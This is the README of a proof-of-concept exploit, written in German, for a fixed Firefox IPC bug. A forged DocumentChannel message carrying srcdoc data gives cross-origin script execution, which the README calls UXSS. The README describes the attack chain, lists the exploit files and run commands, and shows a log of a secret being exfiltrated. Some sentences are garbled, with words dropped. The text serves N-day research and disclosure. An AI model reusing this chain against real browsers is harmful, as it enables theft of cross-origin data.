
Firefox content->parent srcdoc forge (N-day, Bug 2040160): gefälschter PDocumentChannel mit SrcdocData auf einer Nicht-about:srcdoc-URI -> Angreifer-HTML wird am Opfer-Ursprung ausgeliefert (UXSS), über Mojo-Port-Send-Pfad-Injektion aus einem kompromittierten Content-Prozess
Proof of Concept: Ein kompromittierter Content-Prozess fälscht einen PDocumentChannel-Load, dessen nsDocShellLoadState SrcdocData zusammen mit einer beliebigen URI trägt. Verwundbare Builds liefern das Angreifer-HTML als Dokument an der Opfer-Origin aus — Same-Origin-Read + Exfiltration (UXSS).
Ziel: Firefox 149.0a1 nightly @ 2fbc0748c4 (verwundbar, vor dem Fix), macOS arm64.
Behoben in Firefox 152 — Bug 2040160, Commit 54dc16d08771 „Reject srcdoc data on non-about:srcdoc URI loads".
Der Parent-Prozess deserialisiert eine nsDocShellLoadState aus Content→Parent-IPDL-Nachrichten. Der verwundbare Konstruktor lehnte nur für Content-ausgelöste Loads ab; wurde nicht validiert. Wenn ein Load-State srcdoc-Daten mit einer URI trägt, die nicht ist, baut die DocShell einen Input-Stream-Kanal, der das srcdoc-HTML ausliefert — und das resultierende Dokument erhält die Origin der URI.
javascript:SrcdocDataabout:srcdocDer Fix fügt einen FatalError im IPDL-Konstruktor von nsDocShellLoadState hinzu, wenn !mSrcdocData.IsVoid() && !mURI->SchemeIs("view-source") && !NS_IsAboutSrcdoc(mURI), plus Härtungs-Asserts in nsDocShell und Document::StartDocumentLoad.
Verwandter Bug: CVE-2026-74939 (RemoteTypeOverride) — gleicher Konstruktor, gleiche Trägernachricht, gleiche Zustellungsmechanik (siehe ../poc-cve-2026-74939). Dieses PoC verwendet dieselbe Fälschung mit einem anderen umgedrehten Feld; kein RemoteTypeOverride nötig.
srcdoc.html unter http://127.0.0.1:8778 (Origin A, kompromittiert über die Stage-1-Wasm-Primitiven in wasm-bytes.js).PNecko::PDocumentChannel-Konstruktor: URI = http://localhost:8778/nav.html (Origin B), SrcdocData = <Angreifer-HTML>, top-level BrowsingContext eines Same-Process-about:blank-Popups — zugestellt über den echten Mojo-Send-Pfad (operator new → IPC::Message-Konstruktor → Pickle::WriteBytes → MessageChannel::Send).webIsolated=http://localhost, und die DocShell liefert unser HTML als Dokument an Origin B aus./secret.txt (Same-Origin auf B — ein echter Cross-Origin-Fetch von A wäre CORS-blockiert) und exfiltriert es an A.Beweis (/tmp/srv.log nach ./irun):
REQ_GET /secret.txt
REQ_GET /exfil?d=flag%7Bsrcdoc-crossed-origins-2040160%7D
| Datei | Zweck |
|---|---|
srcdoc.html | PoC-Seite, läuft im kompromittierten Content-Prozess |
forge.py | erstellt die gefälschte Nachricht (selbstverifizierend) → forge.bin/forge.json |
wasm-bytes.js | Stage-1-Primitiven: arb R/W, Funcref-Aufrufe (CVE-2026-2796) |
mdrive2.py | Marionette-Harness zum Starten und Steuern von Nightly |
irun | instrumentierter Lauf: lldb-Attach an den Parent + MOZ_LOG/srv.log-Beweis |
profile.user.js | Firefox-Profil-Prefs (Fission an, Dump aktiviert) |
parse_dc.py | byte-exakter Parser für erfasste DocumentChannel-Nachrichten |
captured-messages/dc_1.bin | echte erfasste Nachricht, als Vorlage für die Fälschung |
nav.html, secret.txt | Opferseiten-Fixture + Geheimnis für die Demo |
Voraussetzungen: Verwundbarer Nightly-Build unter /Users/sid/gecko-2766/obj-browser, .venv mit psutil, und ein Webserver auf 0.0.0.0:8778, der dieses Verzeichnis ausliefert (z. B. python3 /tmp/srv.py, Logging nach /tmp/srv.log).
python3 forge.py # forge.bin/forge.json erstellen (selbstverifizierend)
./irun # starten + injizieren + Beweis sammeln
Hinweis: Ein Content-Prozess kann beim Teardown nach dem Send einen SIGSEGV auslösen (GC über die Fake-Objekte); alle Beweise werden davor ausgegeben.
54dc16d08771 (MFSA 2026-57, Firefox 152)RemoteTypeOverride)